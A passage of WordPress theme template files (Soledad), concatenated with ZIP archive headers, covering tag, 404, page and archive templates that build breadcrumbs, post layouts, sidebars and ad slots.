        <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title entry-title <?php echo $heading_title_tag_class;?>"><a
                    href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
		<?php do_action( 'penci_after_classic_post_title' ); ?>
		<?php penci_soledad_meta_schema(); ?>
		<?php
		$hide_readtime = get_theme_mod( 'penci_standard_readingtime' );
		if ( ! get_theme_mod( 'penci_standard_author' ) || penci_isshow_reading_time( $hide_readtime ) ) :
			?>
            <div class="penci-meta-author standard-top-meta author-post byline">
				<?php do_action( 'penci_before_classic_post_meta' ); ?>
				<?php if ( ! get_theme_mod( 'penci_standard_author' ) ) : ?>
                    <span class="author vcard"><?php echo penci_get_setting( 'penci_trans_written_by' ); ?> <?php
						if ( function_exists( 'coauthors_posts_links' ) ) :
							penci_coauthors_posts_links();
						else :
							?>
                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
						<?php endif; ?></span>
				<?php endif; ?>
				<?php if ( penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <span class="penci-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
            </div>
		<?php endif; ?>
    </div>

    <div class="standard-content">
        <div class="standard-main-content entry-content">
            <div class="post-entry standard-post-entry classic-post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo $heading_style; ?>">
				<?php
				do_action( 'penci_before_classic_excerpt' );
				if ( get_theme_mod( 'penci_standard_auto_excerpt' ) || isset( $atts['wpblock'] ) ) {
					$default_excerpt         = get_theme_mod( 'penci_post_excerpt_length', 30 );
					$standard_excerpt_length = get_theme_mod( 'penci_standard_excerpt_length', $default_excerpt );
					penci_the_excerpt( $standard_excerpt_length, $post_id );
					?>
                    <div class="penci-more-link
					<?php
					if ( get_theme_mod( 'penci_standard_continue_reading_button' ) ) :
						echo ' penci-more-link-button';
					endif;
					?>
					">
                        <a href="<?php the_permalink(); ?>"
                           class="more-link"><?php echo penci_get_setting( 'penci_trans_continue_reading' ); ?></a>
                    </div>
				<?php } else { ?>
					<?php the_content( penci_get_setting( 'penci_trans_continue_reading' ) ); ?>
					<?php wp_link_pages(); ?>
				<?php } ?>
            </div>
        </div>

		<?php if ( ! get_theme_mod( 'penci_standard_share_box' ) || ! get_theme_mod( 'penci_standard_date' ) || ! get_theme_mod( 'penci_standard_comment' ) || get_theme_mod( 'penci_standard_viewcount' ) ) : ?>
            <div class="penci-post-box-meta
			<?php
			if ( get_theme_mod( 'penci_standard_share_box' ) || ( get_theme_mod( 'penci_standard_date' ) && get_theme_mod( 'penci_standard_comment' ) && ! get_theme_mod( 'penci_standard_viewcount' ) ) ) :
				echo ' center-inner';
			endif;
			?>
			">
				<?php if ( ! get_theme_mod( 'penci_standard_date' ) || ! get_theme_mod( 'penci_standard_comment' ) || get_theme_mod( 'penci_standard_viewcount' ) ) : ?>
                    <div class="penci-box-meta">
						<?php if ( ! get_theme_mod( 'penci_standard_date' ) ) : ?>
                            <span><?php penci_fawesome_icon( 'far fa-clock' ); ?><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_standard_comment' ) ) : ?>
                            <span><a href="<?php comments_link(); ?> "><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( get_theme_mod( 'penci_standard_viewcount' ) ) {
							penci_get_post_countview( get_the_ID() );
						}
						?>
                    </div>
				<?php endif; ?>
				<?php if ( ! get_theme_mod( 'penci_standard_share_box' ) ) : ?>
                    <div class="penci-post-share-box">
						<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
						<?php penci_soledad_social_share(); ?>
                    </div>
				<?php endif; ?>
            </div>
		<?php endif; ?>
    </div>

</article>

<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'article',
			'classes'    => 'standard-article standard-pitem post penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true,
		)
	);
}
?>
<?php ++ $j; ?>
PK     N\e-2R.  .    tag.phpnu [        <?php
/**
 * The template for displaying tag pages.
 *
 * @package Wordpress
 * @since 1.0
 */
get_header();
global $wp;
/* Sidebar position */
$sidebar_position = penci_get_sidebar_position_archive();
$title_acls       = 'pcatitle-' . get_theme_mod( 'penci_archive_titlealign', 'default' );
/* Tag layout */
$layout_this = get_theme_mod( 'penci_archive_layout' );
$grid_col    = get_theme_mod( 'penci_archive_grid_col' );
$grid_mcol   = get_theme_mod( 'penci_archive_grid_mcol' );
if ( ! isset( $layout_this ) || empty( $layout_this ) ): $layout_this = 'standard'; endif;
$class_layout = '';
if ( $layout_this == 'classic' ): $class_layout = ' classic-layout'; endif;
$two_sidebar_class = '';
if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
$archive_desc_align = get_theme_mod( 'penci_archive_descalign', '' );
if ( $archive_desc_align ) {
	$archive_desc_align = ' pcdesc-' . $archive_desc_align;
}
?>

<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
	<?php
	$yoast_breadcrumb = $rm_breadcrumb = '';
	if ( function_exists( 'yoast_breadcrumb' ) ) {
		$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb' . $two_sidebar_class . '">', '</div>', false );
	}

	if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
		$rm_breadcrumb = rank_math_get_breadcrumbs( [
			'wrap_before' => '<div class="container penci-breadcrumb' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
			'wrap_after'  => '</nav></div>',
		] );
	}

	if ( $rm_breadcrumb ) {
		echo $rm_breadcrumb;
	} elseif ( $yoast_breadcrumb ) {
		echo $yoast_breadcrumb;
	} else { ?>
        <div class="container penci-breadcrumb<?php echo $two_sidebar_class; ?>">
            <span><a class="crumb"
                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
            <span><?php echo penci_get_setting( 'penci_trans_tags' ); ?></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
            <span><?php printf( penci_get_setting( 'penci_trans_posts_tagged' ) . ' "%s"', single_tag_title( '', false ) ); ?></span>
        </div>
	<?php } ?>
<?php endif; ?>

<?php if ( penci_featured_exclude_posts() ): ?>

    <div class="archive-box container<?php if ( penci_is_show_archive_filter() ): ?> pc-has-sorter<?php endif; ?>">
        <div class="title-bar <?php echo $title_acls; ?>">
			<?php if ( ! get_theme_mod( 'penci_remove_tag_words' ) ): ?>
                <span><?php echo penci_get_setting( 'penci_trans_tag' ); ?> </span><?php endif; ?>
            <h1><?php printf( esc_html__( '%s', 'soledad' ), single_tag_title( '', false ) ); ?></h1>
			<?php do_action( 'penci_archive_follow_button' ); ?>
        </div>
		<?php get_template_part( 'template-parts/archive-sorter' ); ?>
    </div>

	<?php if ( tag_description() && ! get_theme_mod( 'penci_archive_move_desc' ) ) : // Show an optional tag description ?>
        <div class="container <?php echo $two_sidebar_class; ?>">
            <div class="penci-category-description<?php echo $archive_desc_align; ?>"><?php echo do_shortcode( tag_description() ); ?></div>
        </div>
	<?php endif; ?>

<?php endif; ?>

<?php do_action( 'penci_featured_archive_posts' ); ?>

<div class="container<?php echo esc_attr( $class_layout );
if ( penci_get_setting( 'penci_sidebar_archive' ) ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?>">
    <div id="main"
         class="penci-layout-<?php echo esc_attr( $layout_this ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> penci-main-sticky-sidebar<?php endif; ?>">
        <div class="theiaStickySidebar">

			<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
				<?php
				$yoast_breadcrumb = $rm_breadcrumb = '';
				if ( function_exists( 'yoast_breadcrumb' ) ) {
					$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
				}

				if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
					$rm_breadcrumb = rank_math_get_breadcrumbs( [
						'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
						'wrap_after'  => '</nav></div>',
					] );
				}

				if ( $rm_breadcrumb ) {
					echo $rm_breadcrumb;
				} elseif ( $yoast_breadcrumb ) {
					echo $yoast_breadcrumb;
				} else { ?>
                    <div class="container penci-breadcrumb penci-crumb-inside<?php echo $two_sidebar_class; ?>">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                        <span><?php echo penci_get_setting( 'penci_trans_tags' ); ?></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                        <span><?php printf( penci_get_setting( 'penci_trans_posts_tagged' ) . ' "%s"', single_tag_title( '', false ) ); ?></span>
                    </div>
				<?php } ?>
			<?php endif; ?>

			<?php if ( ! penci_featured_exclude_posts() ) { ?>

                <div class="archive-box<?php if ( penci_is_show_archive_filter() ): ?> pc-has-sorter container<?php endif; ?>">
                    <div class="title-bar <?php echo $title_acls; ?>">
						<?php if ( ! get_theme_mod( 'penci_remove_tag_words' ) ): ?>
                            <span><?php echo penci_get_setting( 'penci_trans_tag' ); ?> </span><?php endif; ?>
                        <h1><?php printf( esc_html__( '%s', 'soledad' ), single_tag_title( '', false ) ); ?></h1>
						<?php do_action( 'penci_archive_follow_button' ); ?>
                    </div>
					<?php get_template_part( 'template-parts/archive-sorter' ); ?>
                </div>

				<?php if ( tag_description() && ! get_theme_mod( 'penci_archive_move_desc' ) ) : // Show an optional tag description ?>
                    <div class="penci-category-description<?php echo $archive_desc_align; ?>"><?php echo do_shortcode( tag_description() ); ?></div>
				<?php endif; ?>

			<?php } else {
				$format_title = penci_get_setting( 'penci_arf_title' );
				if ( $format_title && ! penci_featured_title_check() ) {
					$heading_widget_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
					$heading_widget_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
					$heading_title        = get_theme_mod( 'penci_featured_cat_style' ) ? get_theme_mod( 'penci_featured_cat_style' ) : $heading_widget_title;
					$heading_align        = get_theme_mod( 'penci_featured_cat_align' ) ? get_theme_mod( 'penci_featured_cat_align' ) : $heading_widget_align;
					$sb_icon_pos          = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
					$sidebar_icon_pos     = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
					$sb_icon_design       = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
					$sidebar_icon_design  = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;
					$heading_title        = get_theme_mod( 'penci_arf_title_style', $heading_title );
					?>
                    <div class="featured-list-title penci-border-arrow penci-homepage-title penci-magazine-title <?php echo esc_attr( $heading_title . ' ' . $heading_align . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?>">
                        <h2 class="inner-arrow">
							<?php
							echo str_replace( '{name}', single_tag_title( '', false ), $format_title );
							?>
                        </h2>
                    </div>

				<?php }
			} ?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_above' ); ?>

			<?php if ( have_posts() ) : ?>
				<?php
				$class_grid_arr = array(
					'mixed',
					'mixed-2',
					'mixed-3',
					'mixed-4',
					'small-list',
					'overlay-grid',
					'overlay-list',
					'photography',
					'grid',
					'grid-2',
					'list',
					'boxed-1',
					'boxed-2',
					'boxed-3',
					'standard-grid',
					'standard-grid-2',
					'standard-list',
					'standard-boxed-1',
					'classic-grid',
					'classic-grid-2',
					'classic-list',
					'classic-boxed-1',
					'magazine-1',
					'magazine-2',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'grid-boxed-4',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3'
				);

				$cols_attrs  = '';
				$extra_class = '';
				if ( in_array( $layout_this, [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3', 'grid-boxed-4', 'grid', 'masonry' ] ) ) {
					if ( $grid_col ) {
						$cols_attrs  .= ' data-cols="' . $grid_col . '"';
						$extra_class .= 'has-d-cols ';
					}
					if ( $grid_mcol ) {
						$cols_attrs  .= ' data-mcols="' . $grid_mcol . '"';
						$extra_class .= 'has-m-cols ';
					}
				}

				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '<ul' . $cols_attrs . ' data-layout="' . esc_attr( $layout_this ) . '" class="' . $extra_class . 'penci-wrapper-data penci-grid">';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '<div class="penci-wrap-masonry"><div' . $cols_attrs . ' class="penci-wrapper-data masonry penci-masonry">';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '<div class="penci-wrapper-data">';
				}

				$cimg_size = 'normal';

				if ( in_array( $layout_this, [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3' ] ) ) {
					$layout_this = 'grid';
				} elseif ( in_array( $layout_this, [ 'list-boxed', 'list-boxed-2' ] ) ) {
					$layout_this = 'list';
					$cimg_size   = 'masonry';
				}

				$infeed_ads  = get_theme_mod( 'penci_infeedads_archi_code' ) ? get_theme_mod( 'penci_infeedads_archi_code' ) : '';
				$infeed_num  = get_theme_mod( 'penci_infeedads_archi_num' ) ? get_theme_mod( 'penci_infeedads_archi_num' ) : 3;
				$infeed_full = get_theme_mod( 'penci_infeedads_archi_layout' ) ? get_theme_mod( 'penci_infeedads_archi_layout' ) : '';

				while ( have_posts() ) : the_post();
					include( locate_template( 'content-' . $layout_this . '.php' ) );
				endwhile;

				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '</ul>';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '</div></div>';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '</div>';
				}
				penci_soledad_archive_pag_style( $layout_this );
				?>
			<?php endif;
			wp_reset_postdata(); /* End if of the loop */ ?>

			<?php if ( tag_description() && get_theme_mod( 'penci_archive_move_desc' ) ) : // Show an optional tag description ?>
                <div class="penci-category-description penci-acdes-below<?php echo $archive_desc_align; ?>"><?php echo do_shortcode( tag_description() ); ?></div>
			<?php endif; ?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_below' ); ?>

        </div>
    </div>

	<?php if ( penci_get_setting( 'penci_sidebar_archive' ) ) : ?>
		<?php get_sidebar(); ?>
		<?php if ( get_theme_mod( 'penci_two_sidebar_archive' ) ) : get_sidebar( 'left' ); endif; ?>
	<?php endif; ?>
</div>
<?php get_footer(); ?>
PK     N\b      404.phpnu [        <?php
/**
 * The template for displaying 404 pages (not found)
 *
 * @package Wordpress
 * @since   1.0
 */
get_header();

/**
 * Set default value if fields is not isset
 *
 */
$image        = ! get_theme_mod( 'penci_not_found_image' ) ? PENCI_SOLEDAD_URL . '/images/404.png' : get_theme_mod( 'penci_not_found_image' );
$image_width  = 212;
$image_height = 87;
if ( get_theme_mod( 'penci_not_found_image' ) ) {
	$image_width  = penci_get_image_data_basedurl( $image, 'w' );
	$image_height = penci_get_image_data_basedurl( $image, 'h' );
}
?>

    <div class="container page-404">
        <div class="error-404">
            <div class="error-image">
                <img src="<?php echo esc_url( $image ); ?>" alt="404" width="<?php echo $image_width; ?>"
                     height="<?php echo $image_height; ?>"/>
            </div>
			<?php if ( penci_get_setting( 'penci_not_found_sub_heading' ) ): ?>
                <p class="sub-heading-text-404"><?php echo penci_get_setting( 'penci_not_found_sub_heading' ); ?></p>
			<?php endif; ?>
			<?php if ( ! get_theme_mod( 'penci_not_found_hide_search' ) ): get_search_form();endif; ?>
			<?php if ( ! get_theme_mod( 'penci_not_found_hide_backhome' ) ): ?>
                <p class="go-back-home"><a
                            href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_back_to_homepage' ); ?></a>
                </p>
			<?php endif; ?>
        </div>
    </div>
<?php get_footer(); ?>PK     N\KDG      page.phpnu [        <?php
/**
 * The template for displaying pages
 *
 * This is the template that displays all pages by default.
 * Please note that this is the WordPress construct of pages and that
 * other "pages" on your WordPress site will use a different template.
 *
 * @package Wordpress
 * @since   1.0
 */
get_header();
$breadcrumb      = get_post_meta( get_the_ID(), 'penci_page_breadcrumb', true );
$featured_boxes  = get_post_meta( get_the_ID(), 'penci_page_display_featured_boxes', true );
$page_meta       = get_post_meta( get_the_ID(), 'penci_page_slider', true );
$rev_shortcode   = get_post_meta( get_the_ID(), 'penci_page_rev_shortcode', true );
$sidebar_default = get_theme_mod( 'penci_page_default_template_layout' );

$sidebar_position = get_post_meta( get_the_ID(), 'penci_sidebar_page_pos', true );
if ( $sidebar_position ) {
	$sidebar_default = $sidebar_position;
}

$class_small_width = '';
if ( $sidebar_default == 'small-width' ):
	$class_small_width = ' penci-page-container-smaller';
endif;

if ( Penci_Featured_Slider::is_slider_style( $page_meta ) ) {
	if ( $page_meta == 'video' && get_theme_mod( 'penci_featured_video_url' ) ) {
		get_template_part( 'inc/featured_slider/featured_video' );
	} else {
		Penci_Featured_Slider::render_featured_slider( [
			'style'         => $page_meta,
			'rev_shortcode' => $rev_shortcode,
		] );
	}
}

/* Display Featured Boxes */
if ( $featured_boxes == 'yes' && ! get_theme_mod( 'penci_home_hide_boxes' ) && ( get_theme_mod( 'penci_home_box_img1' ) || get_theme_mod( 'penci_home_box_img2' ) || get_theme_mod( 'penci_home_box_img3' ) || get_theme_mod( 'penci_home_box_img4' ) ) ):
	get_template_part( 'inc/modules/home_boxes' );
endif;

?>
<?php $show_page_title = penci_is_pageheader(); ?>
<?php if ( ! $show_page_title ): ?>
	<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
		<?php
		$yoast_breadcrumb = $rm_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb ' . $class_small_width . '">', '</div>', false );
		}
		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container container-single-page penci-breadcrumb ' . $class_small_width . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}

		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container container-single-page penci-breadcrumb<?php echo $class_small_width; ?>">
                <span><a class="crumb"
                         href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				$page_parent = get_post_ancestors( get_the_ID() );
				if ( ! empty( $page_parent ) ):
					$page_parent = array_reverse( $page_parent );
					foreach ( $page_parent as $pages ) {
						?>
                        <span><a class="crumb"
                                 href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a>
                        </span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
					<?php }
				endif; ?>
                <span><?php the_title(); ?></span>
            </div>
		<?php } ?>
	<?php endif; ?>
<?php endif; ?>

<div class="container container-single-page container-default-page<?php echo $class_small_width;
if ( in_array( $sidebar_default, array( 'left-sidebar', 'right-sidebar', 'two-sidebar' ) ) ) {
	echo ' penci_sidebar ' . $sidebar_default;
} else {
	echo ' penci_is_nosidebar';
} ?>">
    <div id="main"
         class="penci-main-single-page-default <?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> penci-main-sticky-sidebar<?php endif; ?>">
        <div class="theiaStickySidebar">

			<?php if ( ! $show_page_title ): ?>
				<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
					<?php
					$yoast_breadcrumb = $rm_breadcrumb = '';
					if ( function_exists( 'yoast_breadcrumb' ) ) {
						$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb penci-crumb-inside ' . $class_small_width . '">', '</div>', false );
					}

					if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
						$rm_breadcrumb = rank_math_get_breadcrumbs( [
							'wrap_before' => '<div class="container container-single-page penci-breadcrumb penci-crumb-inside ' . $class_small_width . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
							'wrap_after'  => '</nav></div>',
						] );
					}

					if ( $rm_breadcrumb ) {
						echo $rm_breadcrumb;
					} elseif ( $yoast_breadcrumb ) {
						echo $yoast_breadcrumb;
					} else { ?>
                        <div class="container container-single-page penci-breadcrumb penci-crumb-inside<?php echo $class_small_width; ?>">
                                <span><a class="crumb"
                                         href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
							<?php
							$page_parent = get_post_ancestors( get_the_ID() );
							if ( ! empty( $page_parent ) ):
								$page_parent = array_reverse( $page_parent );
								foreach ( $page_parent as $pages ) {
									?>
                                    <span><a class="crumb"
                                             href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a>
                                    </span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
								<?php }
							endif; ?>
                            <span><?php the_title(); ?></span>
                        </div>
					<?php } ?>
				<?php endif; ?>
			<?php endif; ?>

			<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
				<?php get_template_part( 'content', 'page' ); ?>
			<?php endwhile; endif; ?>
        </div>
    </div>

	<?php if ( in_array( $sidebar_default, array( 'left-sidebar', 'right-sidebar', 'two-sidebar' ) ) ) : ?>
		<?php get_sidebar(); ?>
	<?php endif; ?>
	<?php if ( $sidebar_default == 'two-sidebar' ) : get_sidebar( 'left' ); endif; ?>
</div>
<?php get_footer(); ?>
PK     N\k      content-standard-boxed-1.phpnu [        <?php
/**
 * Template loop for 1st standard then boxed 1
 */


/**
 * Create var $jj to count order posts
 * If $jj = 1, to show standard post, $jj > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }

if ( $jj == 1 ) {
	//get_template_part( 'content', 'standard' );
	include( locate_template( 'content-standard.php' ) );
}
else {
	include( locate_template( 'content-boxed-1.php' ) );
}

$jj++;
?>

PK     N\6/%  %    archive.phpnu [        <?php
/**
 * The template for displaying archive pages
 *
 * @package Wordpress
 * @since 1.0
 */
get_header();

/* Sidebar position */
$sidebar_position = penci_get_sidebar_position_archive();

/* Archive layout */
$layout_this      = get_theme_mod( 'penci_archive_layout' );
$grid_col         = get_theme_mod( 'penci_archive_grid_col' );
$grid_mcol        = get_theme_mod( 'penci_archive_grid_mcol' );
$archive_des_open = '<div class="post-entry penci-category-description penci-archive-description penci-acdes-below">';
if ( get_theme_mod( 'penci_archive_descalign' ) ) {
	$archive_desc_align = ' pcdesc-' . get_theme_mod( 'penci_archive_descalign' );
	$archive_des_open   = '<div class="post-entry penci-category-description penci-archive-description penci-acdes-below' . $archive_desc_align . '">';
}

$title_acls = 'pcatitle-' . get_theme_mod( 'penci_archive_titlealign', 'default' );

if ( ! isset( $layout_this ) || empty( $layout_this ) ): $layout_this = 'standard'; endif;
$class_layout = '';
if ( $layout_this == 'classic' ): $class_layout = ' classic-layout'; endif;
?>

<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
	<?php
	$yoast_breadcrumb = $rm_breadcrumb = '';
	if ( function_exists( 'yoast_breadcrumb' ) ) {
		$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb">', '</div>', false );
	}

	if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
		$rm_breadcrumb = rank_math_get_breadcrumbs( [
			'wrap_before' => '<div class="container penci-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
			'wrap_after'  => '</nav></div>',
		] );
	}

	if ( $rm_breadcrumb ) {
		echo $rm_breadcrumb;
	} elseif ( $yoast_breadcrumb ) {
		echo $yoast_breadcrumb;
	} else { ?>
        <div class="container penci-breadcrumb">
            <span><a class="crumb"
                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
			<?php
			echo '<span>';
			echo penci_get_setting( 'penci_trans_archives' );
			echo '</span>';
			?>
        </div>
	<?php } ?>
<?php endif; ?>

<div class="container<?php echo esc_attr( $class_layout );
if ( penci_get_setting( 'penci_sidebar_archive' ) ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?>">
    <div id="main"
         class="penci-layout-<?php echo esc_attr( $layout_this ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> penci-main-sticky-sidebar<?php endif; ?>">
        <div class="theiaStickySidebar">

			<?php do_action( 'penci_archive_before_posts' ); ?>

			<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
				<?php
				$yoast_breadcrumb = $rm_breadcrumb = '';
				if ( function_exists( 'yoast_breadcrumb' ) ) {
					$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside">', '</div>', false );
				}

				if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
					$rm_breadcrumb = rank_math_get_breadcrumbs( [
						'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
						'wrap_after'  => '</nav></div>',
					] );
				}

				if ( $rm_breadcrumb ) {
					echo $rm_breadcrumb;
				} elseif ( $yoast_breadcrumb ) {
					echo $yoast_breadcrumb;
				} else { ?>
                    <div class="container penci-breadcrumb penci-crumb-inside">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
						<?php
						echo '<span>';
						echo penci_get_setting( 'penci_trans_archives' );
						echo '</span>';
						?>
                    </div>
				<?php } ?>
			<?php endif; ?>

            <div class="archive-box">
                <div class="title-bar <?php echo $title_acls; ?>">
					<?php
					if ( is_day() ) :
						if ( penci_get_setting( 'penci_trans_daily_archives' ) ):
							echo '<span>';
							echo penci_get_setting( 'penci_trans_daily_archives' );
							echo ' </span>';
						endif;
						printf( wp_kses( __( '<h1 class="page-title">%s</h1>', 'soledad' ), penci_allow_html() ), get_the_date() );
                    elseif ( is_month() ) :
						if ( penci_get_setting( 'penci_trans_monthly_archives' ) ):
							echo '<span>';
							echo penci_get_setting( 'penci_trans_monthly_archives' );
							echo ' </span>';
						endif;
						printf( wp_kses( __( '<h1 class="page-title">%s</h1>', 'soledad' ), penci_allow_html() ), get_the_date( _x( 'F Y', 'monthly archives date format', 'soledad' ) ) );
                    elseif ( is_year() ) :
						if ( penci_get_setting( 'penci_trans_yearly_archives' ) ):
							echo '<span>';
							echo penci_get_setting( 'penci_trans_yearly_archives' );
							echo ' </span>';
						endif;
						printf( wp_kses( __( '<h1 class="page-title">%s</h1>', 'soledad' ), penci_allow_html() ), get_the_date( _x( 'Y', 'yearly archives date format', 'soledad' ) ) );
                    elseif ( is_author() ) :
						echo '<span>';
						echo penci_get_setting( 'penci_trans_author' );
						echo ' </span>';
						printf( wp_kses( __( '<h1 class="page-title">%s</h1>', 'soledad' ), penci_allow_html() ), get_userdata( get_query_var( 'author' ) )->display_name );
                    elseif ( is_tax() ) :
						the_archive_title( '<h1 class="page-title">', '</h1>' );
					else :
						echo '<h1 class="page-title">';
						echo penci_get_setting( 'penci_trans_archives' );
						echo '</h1>';
					endif;
					do_action( 'penci_archive_follow_button' )
					?>
                </div>
            </div>

			<?php if ( ! get_theme_mod( 'penci_archive_move_desc' ) ) {
				the_archive_description( $archive_des_open, '</div>' );
			} ?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_above' ); ?>

			<?php if ( have_posts() ) : ?>
				<?php

				$class_grid_arr = array(
					'mixed',
					'mixed-2',
					'mixed-3',
					'mixed-4',
					'small-list',
					'overlay-grid',
					'overlay-list',
					'photography',
					'grid',
					'grid-2',
					'list',
					'boxed-1',
					'boxed-2',
					'boxed-3',
